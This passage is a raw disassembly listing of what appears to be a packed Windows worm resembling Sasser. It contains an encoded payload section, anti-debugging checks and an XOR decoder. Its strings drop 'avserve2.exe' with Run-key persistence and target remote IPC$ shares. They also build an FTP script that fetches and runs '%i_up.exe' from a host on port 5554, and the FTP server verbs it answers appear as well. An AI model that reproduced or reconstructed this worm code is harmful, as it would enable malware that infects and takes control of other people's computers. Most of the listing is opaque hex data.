		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4066D8	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40159E+450o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_40674C	dd 0				dd offset word_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset word_40A89A
		dd 1, 0
		dd 1, 0
		dd offset word_40A89A
		dd 1, 0
		dd 1, 0
		dd offset word_40A89A
		dd 1, 0
		dd 1, 4	dup(0)
		dd 20h,	0Ch dup(0)
dword_406810	dd 1004600h						; sub_40159E+19Er
		dd 1, 20h, 0Ch dup(0)
		dd 7515123Ch, 2, 20h, 0Ch dup(0)
		dd 751C123Ch, 0Fh dup(0)
off_4068C8	dd offset aAvserve2_exe	; DATA XREF: sub_4020D7:loc_40212Fr
					; sub_4020D7+B5r
					; "avserve2.exe"
		dd offset aAvserve2	; "avserve2"
off_4068D0	dd offset dword_406910	; DATA XREF: sub_401B08+1Ar
					; sub_401B08+2Dr
off_4068D4	dd offset dword_406908	; DATA XREF: sub_401B08+77r
					; sub_401B08+84r
off_4068D8	dd offset dword_406900	; DATA XREF: sub_401B08+A8r
					; sub_401B08+B5r
off_4068DC	dd offset dword_4068F8	; DATA XREF: sub_401B08+2BCr
					; sub_401B08+2C9r ...
off_4068E0	dd offset dword_4068F0	; DATA XREF: sub_401B08+184r
					; sub_401B08+191r
off_4068E4	dd offset dword_4068E8	; DATA XREF: sub_401B08+1B9r
					; sub_401B08+1C6r
dword_4068E8	dd 20303531h, 0A4B4Fhdword_4068F0	dd 20303032h, 0A4B4Fhdword_4068F8	dd 20363232h, 0A4B4Fhdword_406900	dd 20303332h, 0A4B4Fhdword_406908	dd 20313333h, 0A4B4Fhdword_406910	dd 20303232h, 0A4B4FhaAvserve2	db 'avserve2',0         ; DATA XREF: .text:004068CCo
		align 4
aAvserve2_exe	db 'avserve2.exe',0     ; DATA XREF: .text:off_4068C8o
		align 4
aEchoOffEchoOpe	db 'echo off&echo open %s 5554>>cmd.ftp&echo anonymous>>cmd.ftp&echo '
					; DATA XREF: .text:off_406030o
		db 'user&echo bin>>cmd.ftp&echo get %i_up.exe>>cmd.ftp&echo bye>>cmd.'
		db 'ftp&echo on&ftp -s:cmd.ftp&%i_up.exe&echo off&del cmd.ftp&echo on'
		db 0Ah,0
		align 4
a127_0_0_1	db '127.0.0.1',0        ; DATA XREF: sub_4010D2:loc_401140o
		align 4
aCWin2_log	db 'c:\win2.log',0      ; DATA XREF: sub_401210+27o
aI		db '%i',0               ; DATA XREF: sub_401210+16o
		align 4
aSC		db '%s%c',0             ; DATA XREF: sub_401398+1DFo
		align 10h
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_401398+20o
					; sub_40159E+23o
		align 4
dword_406A2C	dd 6EB06EBh, 0	dword_406A34	dd 1CEC8166h	dword_406A38	dd 0E4FF07h	dword_406A3C	dd 302E35h	dword_406A40	dd 312E35h	aQuit		db 'QUIT',0             ; DATA XREF: sub_401B08+2DAo
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_401B08+1A2o
		align 4
aI_I_I_I	db '%i.%i.%i.%i',0      ; DATA XREF: sub_401B08+173o
					; sub_401EF0+D2o
word_406A60	dw 2Ch			; DATA XREF: sub_401B08+EEr
		align 4
aPort		db 'PORT',0             ; DATA XREF: sub_401B08+C6o
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_401B08+95o
		align 4
aUser		db 'USER',0             ; DATA XREF: sub_401B08+64o
		align 4
asc_406A7C:				; DATA XREF: sub_401EF0+102o
		unicode	0, < >,0
aJumpallsnlstil	db 'JumpallsNlsTillt',0 ; DATA XREF: sub_402029+50o
		align 4
aJobaka3	db 'Jobaka3',0          ; DATA XREF: sub_402029+Fo
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_4020D7+8Co
		align 4
asc_406ACC:				; DATA XREF: sub_4020D7+4Bo
		unicode	0, <\>,0
off_406AD0	dd offset sub_402AFF	; DATA XREF: sub_402934+1Cr
dword_406AD4	dd 2							; sub_4035C9+46r
		align 10h
off_406AE0	dd offset word_406AEA	; DATA XREF: sub_402810+1Er
					; sub_402A4C+12r ...
		dd offset word_406AEA
		db 2 dup(0)
word_406AEA	dw 20h			; DATA XREF: sub_403876+18r
					; .text:off_406AE0o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_406CEC	dd 1				dd 2Eh,	1
dword_406CF8	dd 0C0000005h						; sub_402D04+11o
		dd 0Bh,	0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_406D70	dd 3		dword_406D74	dd 7		dword_406D78	dd 0Ah		dword_406D7C	dd 8Ch							; sub_402BC3+8Fw ...
		dd 0FFFFFFFFh, 0A00h, 10h
dword_406D8C	dd 19930520h, 4	dup(0)					; sub_403496+2o
dword_406DA0	dd 2							; sub_4035C9+28r
off_406DA4	dd offset aR6002FloatingP ; DATA XREF: sub_4035C9+FCr
					; sub_4035C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 40536Ch, 9, 405340h, 0Ah,	40531Ch, 10h, 4052F0h
		dd 11h,	4052C0h, 12h, 40529Ch, 13h, 405270h, 18h, 405238h
		dd 19h,	405210h, 1Ah, 4051D8h, 1Bh, 4051A0h, 1Ch, 405178h
		dd 78h,	405168h, 79h, 405158h, 7Ah, 405148h, 0FCh, 405144h
		dd 0FFh, 405134h
byte_406E30	db 1			; DATA XREF: sub_4035C9+1Bo
					; sub_4038A7+E1r
		db 2, 4, 8
		align 8
dword_406E38	dd 3A4h		dword_406E3C	dd 82798260h, 21h, 0dword_406E48	dd 0DFA6h			align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_406F28	dd 3F8h							; sub_403CF4+5r
		align 10h
dword_406F30	dd 4A5C9E86h						; sub_401000+10w ...
dword_406F34	dd 0							; sub_401210+Dr
dword_406F38	dd 0							; sub_401398+Co ...
dword_406F3C	dd 0							; sub_402680+91w
dword_406F40	dd 0							; sub_402D9F:loc_402DB1r ...
		align 8
dword_406F48	dd 0				dd 3 dup(0)
dword_406F58	dd 0A28h	dword_406F5C	dd 501h		dword_406F60	dd 5		dword_406F64	dd 1		dword_406F68	dd 1		dword_406F6C	dd 890ED0h			dd 0
dword_406F74	dd 890D70h			dd 3 dup(0)
off_406F84	dd offset aCM_unpackerPac ; DATA XREF: sub_402E58+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_406F8C	db 0			; DATA XREF: sub_402B10+2Dw
		align 10h
dword_406F90	dd 0		dword_406F94	dd 0							; sub_402B10+8Bw
dword_406F98	dd 0							; sub_402BC3+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_402E58:loc_402E6Fo
					; .text:off_406F84o
		align 4
		dd 31h dup(0)
dword_40707C	dd 9 dup(0)						; .text:00406638o ...
dword_4070A0	dd 1							; sub_4030A5+23w ...
dword_4070A4	dd 0		dword_4070A8	dd 1							; sub_40371C:loc_403786w
dword_4070AC	dd 1							; sub_403A40+4w ...
dword_4070B0	dd 0		; resolved to->USER32.MessageBoxA					; sub_404573+2Ew ...
dword_4070B4	dd 0		; resolved to->USER32.GetActiveWindow					; sub_404573:loc_4045C2r
dword_4070B8	dd 0		; resolved to->USER32.GetLastActivePopup					; sub_404573+60r
		dd 2 dup(0)
dword_4070C4	dd 0				dd 3 dup(0)
dword_4070D4	dd 0							; sub_403A40+3Ar ...
		dd 0
dword_4070DC	dd 1							; sub_4046FE+4Cw ...
dword_4070E0	dd 0		dword_4070E4	dd 0		dword_4070E8	dd 10h							; sub_4043C7+5r ...
dword_4070EC	dd 0							; sub_403D93+259r ...
dword_4070F0	dd 320650h						; sub_403D93+310w ...
dword_4070F4	dd 0							; sub_403D93+22Cr ...
dword_4070F8	dd 1							; sub_403D68r ...
dword_4070FC	dd 320650h						; sub_403D68+8r ...
dword_407100	dd 4E4h							; sub_4038A7+65w ...
		align 10h
dword_407110	dd 3 dup(0)						; sub_4038A7+171o ...
dword_40711C	dd 0							; sub_4038A7+15Dw ...
byte_407120	db 0			; DATA XREF: sub_403AE6:loc_403BF2w
					; sub_403AE6:loc_403C0Fw ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_407220	db 0			; DATA XREF: sub_4038A7+5Co
					; sub_4038A7+AFo ...
byte_407221	db 0			; DATA XREF: sub_402EF1+3Fr
					; sub_402EF1+84r ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_407324	dd 0							; sub_4038A7+12Bw ...
dword_407328	dd 320000h						; sub_403382+29r ...
		dd 5 dup(0)
dword_407340	dd 890EF0h						; sub_4031D7+45r ...
dword_407344	dd 3Fh dup(0)	dword_407440	dd 20h							; sub_4031D7:loc_403261r ...
dword_407444	dd 1		dword_407448	dd 1		dword_40744C	dd 0		dword_407450	dd 0							; sub_402B10+57r
dword_407454	dd 0		dword_407458	dd 142340h						; sub_402D47+Fr ...
		dd 6E9h	dup(0)
_text		ends

; Section 2. (virtual address 00009000)
; Virtual size			: 00017010 (  94224.)
; Section size in file		: 00017010 (  94224.)
; Offset to raw	data for section: 00009000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_rsrc		segment	para public 'CODE' use32
		assume cs:_rsrc
		;org 409000h
		assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
		dd 4 dup(0)
		dd 7C801D77h, 7C80ADA0h, 7C809A51h, 7C809AE4h, 0
		dd 9010h, 0
		dd 0FFFFFFFFh, 904Ch, 9010h, 5 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 4C000000h, 4C64616Fh
		dd 61726269h, 417972h, 47000000h, 72507465h, 6441636Fh
		dd 73657264h, 73h, 72695600h, 6C617574h, 6F6C6C41h, 63h
		dd 72695600h, 6C617574h, 65657246h, 0A2330000h,	0E80E30B5h
		dd 0FCF83644h, 0F4476A36h, 9E7F9BDCh, 13B5857Ch, 0EF54DD1Ch
		dd 0A18418CFh, 0CA90E8A8h, 3E8CE63Fh, 0A88320ACh, 50000802h
		dd 8B600000h, 8B242474h, 247Ch,	245C8B28h, 1B8BFC2Ch, 0DB85C933h
		dd 80B21074h, 0DF030000h, 0E803B1A4h, 66h, 0FB3BF673h
		dd 7C73h, 33575553h, 0ED3343DBh, 7C8DC38Bh, 0EB8B001Dh
		dd 0DF8B0800h, 0F11C49E8h, 3D5C8Dh, 800C703h, 3AE8EF8Bh
		dd 5D5FE20Eh, 73C12B5Bh, 8B090000h, 34E8C5h, 1CEB0000h
		dd 0AC08E0C1h, 0E840h, 28h, 13DE88Bh, 83000040h, 813DFFD9h
		dd 7076000h, 2BF78B56h,	5EA4F3F0h, 4141h, 0D20295EBh, 168A0575h
		dd 0C3D21246h, 0E841C933h, 0FFEE0000h, 0C913FFFFh, 0FFFFE7E8h
		dd 0C3F272FFh, 107C2Bh,	7C892824h, 0C2611C24h, 0B4480010h
		dd 40003085h, 563E03h, 90100060h, 90140000h, 7DF80000h
		dd 77F40000h, 7FFDEBF8h, 6600h,	0B8h, 80305488h, 400001Dh
		dd 9A330000h, 0F8904000h, 56630000h, 0F2A0000h,	40010000h
		dd 501C02h, 4CAB00h, 6109B800h,	3100F61h, 6430056h, 1004h
		dd 3CA5h, 80000h, 880105h, 51530000h, 55565752h, 1DE84000h
		dd 30ED815Dh, 8D100011h, 25B5h,	8B100011h, 0C083FC46h
		dd 8BF02B04h, 468B0856h, 31C0041h, 89088BC2h, 17128F8Dh
		dd 0C418520h, 14240C93h, 0C970C06h, 0C100028h, 8BDE0C9Bh
		dd 0F6854473h, 0E74h, 2BB9h, 8BF20300h,	0FA03407Bh, 0F38BA4F3h
		dd 8D8D0000h, 1000129Fh, 226E851h, 4E8B0000h, 808B2Ch
		dd 56032456h, 68406A08h, 6A5197h, 12FF0000h, 128B8589h
		dd 0E8561000h, 3D7h, 2041E856h,	0CB0504DFh, 20620502h
		dd 85343280h, 89840FC9h, 4E54h,	0E8565108h, 53Eh, 7B74C085h
		dd 176F958Bh, 10000000h, 17738D8Bh, 0C9851000h,	8D8D0875h
		dd 1367h, 2DEB1000h, 0C1F7h, 1E748000h,	0FFE18152h, 0FFFF0000h
		dd 858D517Fh, 10001323h, 3C858D50h, 4000018h, 95FF5010h
		dd 8B1D257Dh, 0C8030846h, 414100F8h, 858D5152h,	2B012D1h
		dd 8D106A1Eh, 6A15BB85h, 0FF000800h, 1177995h, 13C395FFh
		dd 401000h, 800068h, 0FF006A00h, 468BB8B5h, 8B280000h
		dd 0C703087Eh, 468B10FFh, 5DC7030Ch, 97C5F5Eh, 0C35B595Ah
		dd 205Eh, 100013A2h, 100013BBh,	1088142h, 6D100013h, 56100013h
		dd 451B0000h, 7972746Eh, 696F5020h, 4E20746Eh, 746Fh, 756F4620h
		dd 5400646Eh, 70206568h, 65636F72h, 7564030Ch, 65206572h
		dd 7023h, 20732523h, 6C756F63h,	6F6E2064h, 65622074h, 6C200000h
		dd 7461636Fh, 69206465h, 6874206Eh, 2065h, 616E7964h, 2063696Dh
		dd 6B6E696Ch, 62696C20h, 617200C0h, 25207972h, 6F512E73h
		dd 1DD6472h, 6C616E69h,	1642520h, 615B4300h, 5D796Eh, 1000138Ch
		dd 0BD638098h, 65737500h, 33720000h, 6C642E32h,	654D006Ch
		dd 67617373h, 4265h, 41786Fh, 72707377h, 66746E69h, 656B0041h
		dd 6E720B00h, 45226C65h, 50746978h, 73DD8056h, 0CAF0073h
		db 0, 49h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	ebp
		push	ebx
		push	edi
		push	esi
		add	[eax-147EA45Bh], al
		setalc
		adc	eax, [eax]
		adc	[ebx+0E8B0875h], cl ; CODE XREF: .rsrc:0040946Dj
		add	eax, [eax-0AE34F8h]
		xchg	eax, ebx
		xchg	eax, ebp
		test	eax, eax
		jz	short loc_409471
		mov	[eax], esp
		add	[ebp-4], eax
		mov	edx, [esi+4]	; CODE XREF: .rsrc:00409441j
		add	edx, ebx
		jle	short near ptr loc_40943C+2
		mov	eax, [edx]	; CODE XREF: .rsrc:00409462j
		test	[edx], eax
		add	al, al
		jz	short loc_409465
		push	edx
		mov	eax, [edx]
		add	eax, ebx
		push	eax
		push	dword ptr [ebp-4]
		call	dword ptr [ebx-7A51E000h]
		sal	byte ptr [esp+edx-55h],	5Ah
		add	edx, 4
		jmp	short near ptr loc_409443+1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_409465:				; CODE XREF: .rsrc:00409449j
		add	[ebx+68B0CC6h],	al
		test	eax, eax
		jnz	short near ptr loc_409425+5
		xor	eax, eax


loc_409471:				; CODE XREF: .rsrc:00409435j
		jmp	short near ptr dword_409478
; ---------------------------------------------------------------------------
		db 0B8h
		dd 56FFFFh
dword_409478	dd 5F5EFFFFh, 0C2C95D5Bh, 6E000004h, 8B087D8Bh,	5F8B0447h
					; CODE XREF: .rsrc:loc_409471j
		dd 74C33B08h, 8B44h, 0F6853877h, 0F3033D74h, 0D82BD38Bh
		dd 0ADFC5D89h, 0D88B0000h, 85ADDA03h, 8B2A74C0h, 8E983C8h
		dd 0C985h, 0AD66ED74h, 0E781F88Bh, 0FFFh, 0C166FB03h, 0CE80000h
		dd 3F88366h, 458B0575h,	490701FCh, 15887549h, 62CCEBE1h
		dd 555F0600h, 0D2085D8Bh, 0A9ED815Dh, 8890014h,	3C4E8B10h
		dd 8004AADBh, 83085667h, 0B70F48C3h, 18A90C43h,	1075E4C1h
		dd 6F75D0A9h, 0FFA94601h, 7EEB6875h, 338B51h, 53085418h
		dd 0EB8BC933h, 0E5BB70Fh, 0CF3B0000h, 68B4D7Dh,	1275FF3Ch
		dd 7425FC80h, 8005h, 87515FCh, 8306C683h, 0E4EB06C1h, 0E74E83Ch
		dd 0E93C0000h, 468B2975h, 0F8385701h, 8EB1875h,	8B57h
		dd 0D8380146h, 0C1660E75h, 0C0C108E8h, 2BC48610h, 89C10000h
		dd 835F0146h, 0C18305C6h, 46B3EB05h, 0EB41h, 0EB595BAFh
		dd 8B575118h, 0FFA033Bh, 830E4BB7h, 2EC0000h, 57525166h
		dd 16E8h, 83595F00h, 5610C3h, 0E9057449h, 0FFFFFF5Ch, 0D400045Dh
		dd 8758B60h, 104D8B66h,	20C558Bh, 3071980h, 88966C2h, 0C961F4EBh
		dd 1E2B0CC2h, 800800E6h, 100015FFh, 1591858Dh, 0D0C2D21Bh
		dd 0A78B0889h, 48896105h, 22CC1604h, 16011649h,	2000A90Ch
		dd 0E9407525h, 0A4h, 3F28B51h, 8B331980h, 84B84BDh, 0F9C1C18Bh
		dd 0F3020014h, 83C803A5h, 0A4F303E1h, 9B60FC8Bh, 47B03FAh
		dd 591B00F7h, 8B5D69EBh, 4087Dh, 163403h, 0F78B5110h, 8B30772Bh
		dd 0C600A8FEh, 0C703574Ah, 10015256h, 0A68D8D5Ch, 84B8B51h
		dd 8D8D89h, 5105B60Ch, 0D0FF5657h, 50A18B5Ah, 0E6E63C8h
		dd 5F5E6678h, 4ED7B1EBh, 0B2383A38h, 16B70DC8h,	740D1500h
		dd 0E083F259h, 5007402h, 738B514Ah, 4B8B8604h, 74000308h
		dd 7B8B62F2h, 8BFA0304h, 84B02C3h, 0AAF3C033h, 1D083B82h
		dd 17002610h, 7FADE285h, 0C758B56h, 5D8B0002h, 39C03308h
		dd 4751046h, 2C740639h,	741C3000h, 8430303h, 30C4E8Bh
		dd 84Bh, 85107E8Bh, 30374FFh, 5750087Bh, 19E85351h, 0
		dd 0FFF88300h, 0C6830774h, 33C9EB14h, 22505EC0h, 0A6C2C9h
		dd 5340A315h, 0AF193855h, 0C459986h, 83892704h,	89C033A2h
		dd 0A4E66083h, 75FFB88Bh, 11FF0Ch, 0FC4589D2h, 7F74C085h
		dd 10758Bh, 14557280h, 275D285h, 0F685D68Bh, 0F28B0275h
		dd 0CA43E00Ch, 0C7100017h, 10384331h, 0B85249DEh, 0E1A94941h
		dd 13808B0Ah, 0E2E28112h, 5D8B0BEBh, 1808B08h, 8530312h
		dd 3E02C283h, 18092D58h, 10001311h, 900752h, 0C0855400h
		dd 895A1174h, 83028906h, 0C68304C2h, 0EB0400B6h, 0EBC0339Bh
		dd 63F5A06h, 0C95B5D05h, 0EF0063C2h, 748B6000h,	7C8B2424h
		dd 5C8B2824h, 8BFC2C24h, 74DB851Bh, 3D2334Eh, 0FB3BA4DFh
		dd 20E84573h, 73000000h, 27E8F4h, 0E8910000h, 21h, 41414848h
		dd 0AC08E0C1h, 0F78B5640h, 0A4F3F02Bh, 66D7EB5Eh, 875D203h
		dd 92AD6692h, 42D20366h, 40C033C3h, 0FFFFEAE8h,	0E8C013FFh
		dd 0FFFFFFE3h, 2BC3F272h, 8928247Ch, 611C247Ch,	0C50010C2h
		dd 5B000090h, 44000009h, 85000001h, 18000097h, 1C000090h
		dd 90h,	0B8004000h, 0F04087B0h,	1082888Dh, 41891000h, 24548B01h
		dd 0C528B04h, 83E902C6h, 0CA2B05C2h, 33FC4A89h,	0B0B8C3C0h
		dd 64F04087h, 58Fh, 0C4830000h,	51535504h, 8D565257h, 104398h
		dd 18538B10h, 406AE88Bh, 100068h, 473FF00h, 4B8B006Ah
		dd 8BCA0310h, 8BD0FF01h, 338B50F8h, 318538Bh, 0C4B8BF2h
		dd 858DCA03h, 1000111Dh, 8F0473FFh, 50006A00h, 0D1FF5657h
		dd 8430358h, 538BF88Bh,	8BF08B18h, 0C083FC46h, 89F02B04h
		dd 4B8B0856h, 244E8910h, 51144B8Bh, 0FF284E89h,	218589D7h
		dd 8B100011h, 4B0359F0h, 80006818h, 6A0000h, 8B11FF57h
		dd 5F5A5EC6h, 0FF5D5B59h, 95BE0h, 40283E00h, 3F1h dup(0)
		db 2 dup(0)
word_40A89A	dw 0			; DATA XREF: .text:00406750o
					; .text:00406794o ...
		dd 39DDh dup(0)
		assume ds:_text

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		cld
		call	loc_41903E
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419016	proc near		; CODE XREF: .rsrc:0041908Dp
		push	ebx
		mov	ecx, 0DA5h
		mov	ebx, edx


loc_41901E:				; CODE XREF: sub_419016+13j
		xor	[eax], dx
		lea	eax, [eax+2]
		xchg	dl, dh
		lea	edx, [ebx+edx]
		loop	loc_41901E
		pop	ebx
		retn
sub_419016	endp

; ---------------------------------------------------------------------------
		db 0F4h, 0BBh
; ---------------------------------------------------------------------------


loc_41902F:				; CODE XREF: .rsrc:00419078j
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419031:				; CODE XREF: .rsrc:00419046j
					; .rsrc:00419057j
		push	ebp
		mov	eax, 8000h
		xor	ecx, ecx
		jmp	short loc_419065

; =============== S U B	R O U T	I N E =======================================



sub_41903B	proc near		; CODE XREF: .rsrc:0041905Ap
					; .rsrc:00419060p
		rdtsc
		retn
sub_41903B	endp

; ---------------------------------------------------------------------------


loc_41903E:				; CODE XREF: start+1p
		test	eax, eax
		jnz	short loc_41904A
		int	2Ch		; Internal routine for MSDOS (IRET)
		test	eax, eax
		jns	short loc_419031
		jmp	short loc_419059
; ---------------------------------------------------------------------------


loc_41904A:				; CODE XREF: .rsrc:00419040j
		push	eax
		sidt	fword ptr [esp-2]
		pop	eax
		mov	eax, [eax+6]
		shl	eax, 10h
		jns	short loc_419031


loc_419059:				; CODE XREF: .rsrc:00419048j
		push	ebp
		call	sub_41903B
		xchg	eax, ecx
		call	sub_41903B


loc_419065:				; CODE XREF: .rsrc:00419039j
		sub	eax, ecx
		mov	ebp, [esp+4]
		sub	dword ptr [esp+4], 167D8h
		sub	eax, 100h
		jnb	short loc_41902F
		sub	ebp, 301006h
		lea	eax, [ebp+301082h]
		mov	dx, [eax-65h]
		call	sub_419016
		pop	ds
		assume ds:nothing
		mov	ebx, 6380EC24h
		fiadd	word ptr [ebx-100F14ACh]
		bound	ecx, [edx-7Ch]
; ---------------------------------------------------------------------------
		db 8Dh,	0EEh, 0Fh
		dd 2B8FF167h, 3014200Fh, 0B7875B3Eh, 436CD4F4h,	603E24A2h
		dd 0E95FF895h, 0B887C1AFh, 0F848C192h, 0CFA593E9h, 0B99CD4FBh
		dd 57AD09BCh, 920C0000h, 19288BA3h, 729D47Bh, 0C4F00C56h
		dd 78FDBB08h, 0AC57E494h, 0DB1312F7h, 0FFA688CFh, 4F001E33h
		dd 84515D6Ah, 68D0DFADh, 0C25570DCh, 0CB18EABAh, 0ABEE07EFh
		dd 29D09F9Fh, 6E372E2Ah, 0D59788BAh, 38A2EFDBh,	9EDB88A0h
		dd 0CB3225DEh, 7BB2B257h, 440E2D6Fh, 0BA5A7B6Ch, 0EEAEAAA1h
		dd 0ED8D2D7Fh, 0C0EFABA6h, 0B93ADEEFh, 0CE828E8Bh, 13B631FFh
		dd 0FB1D1111h, 70470B60h, 0CBC74E7Fh, 0B81178F0h, 0CE22ADAFh
		dd 1B614827h, 0B7A48E0Fh, 7BB18DAAh, 3EE1C8ECh,	8C111D2Fh
		dd 99BC4809h, 0B2707D4Fh, 0DB0AF49Ah, 286450DFh, 7881BD9Ah
		dd 128CB0F6h, 1AE1DDC4h, 5F9775BBh, 8B1E4D4Fh, 8BE5CD42h
		dd 71D5ADAFh, 8EAF5C35h, 0CB302012h, 69F00BB0h,	3E51E191h
		dd 5E991C2Fh, 8BF0D9FDh, 9EF37B94h, 0EB10391Dh,	0B64523DFh
		dd 8A80BCA3h, 7F3F23D7h, 0ABE0EC3Bh, 3184DB14h,	63834F0Fh
		dd 0B3EFEBFFh, 407E2E26h, 4F275B6Fh, 0A0FF0B6Fh, 0B3A44BEh
		dd 0AF5F5B42h, 9D8B14DEh, 1DBFCBCDh, 2A6FCEF3h,	5942B1Eh
		dd 9AC7CE67h, 4A920A8Eh, 772F0B2Eh, 9ACE167Bh, 0A52A689Eh
		dd 2AD3C8ACh, 0B2840675h, 0E7C76A9Dh, 2A54F5CBh, 4255F90Eh
		dd 69F93341h, 7E422D93h, 0D80E1975h, 682B35CDh,	0BA6E4A56h
		dd 299B0AE9h, 9B365ED2h, 23E98A8Dh, 912F503Dh, 29DEEEEDh
		dd 588E9AF5h, 0E8ABB54Dh, 3CEDC9D6h, 0B219A66Dh, 734D595Fh
		dd 0C895590Dh, 12ADBDBCh, 24B5A86Ch, 880C734Bh,	89BDC8A4h
		dd 0D9F8867Ch, 801D1907h, 98CCD9D6h, 639C1C73h,	0FDC5390Ch
		dd 41DDE9ECh, 588D9B36h, 0EB644926h, 47E692F6h,	58B0C139h
		dd 0DBBDB35Ch, 0EBF9B58Fh, 78ACB88Bh, 275EE5EFh, 0D70AF01Bh
		dd 0D3F2C8CBh, 3720343Fh, 0CB01BDD4h, 2241D8EBh, 474C9F35h
		dd 4AA1F108h, 0A7ECC492h, 0BF1F952Ah, 73C4A8Fh,	9B424A78h
		dd 689BA79Bh, 17490EDFh, 0BB7E8C0Bh, 89AB8796h,	0A3D4661Ah
		dd 0D63B3C23h, 0AD827A4Bh, 0C994774Ah, 6114272Ah, 96CBD5E0h
		dd 6AEA0201h, 86D4370Ah, 205E68EBh, 0D78BA7B1h,	3610C1F7h
		dd 0B61509FAh, 7D1DA9AAh, 9D4A5658h, 0F5D6878Fh, 74DA49B9h
		dd 0ED7E3E6h, 688B1629h, 858AED44h, 356A8986h, 0E4E6A126h
		dd 1841D6D9h, 454AAA0Ch, 84D52FDAh, 3F5F69E8h, 0D48AA6B2h
		dd 3511DCF4h, 0B5160AF9h, 0BE1EAAA9h, 0FD495558h, 0C4F904EFh
		dd 58560835h, 0EBD26558h, 0DFF1572h, 7BDB537h, 74037699h
		dd 8E4EDC2Bh, 19D1BFD8h, 746C123Dh, 0F4358C38h,	0A054E5E8h
		dd 0AB766BD5h, 899223B7h, 0B4E8B9FCh, 0CFFEA4A8h, 0BF4C13D5h
		dd 0A554E03Ah, 0F853561Ch, 4B580EB3h, 0D3087443h, 83D2084Ch
		dd 3302B0FCh, 0E318244Fh, 0C288BEDFh, 1376EED5h, 0DFA1A1C8h
		dd 2080E4D7h, 7E0D453h,	88384427h, 38E79923h, 993C96Bh
		dd 41453957h, 969F036Dh, 18A7B3D6h, 0DD3D3266h,	5F92EC46h
		dd 0DDB7F3EAh, 3D98F62Fh, 0E2161EA2h, 92725ED6h, 0FB77B396h
		dd 0F2273B23h, 7240C6Dh, 42877E17h, 87BA4376h, 0B2D6E6F0h
		dd 0F71B4259h, 12764B04h, 8063FD54h, 99A68299h,	21566273h
		dd 0BA697D59h, 0F3E6B2B0h, 5D0F041Ch, 0B7734540h, 0F4B3BEB4h
		dd 0BE2682C4h, 0C10DEBA0h, 7C536BE5h, 186A2BEh,	6B162811h
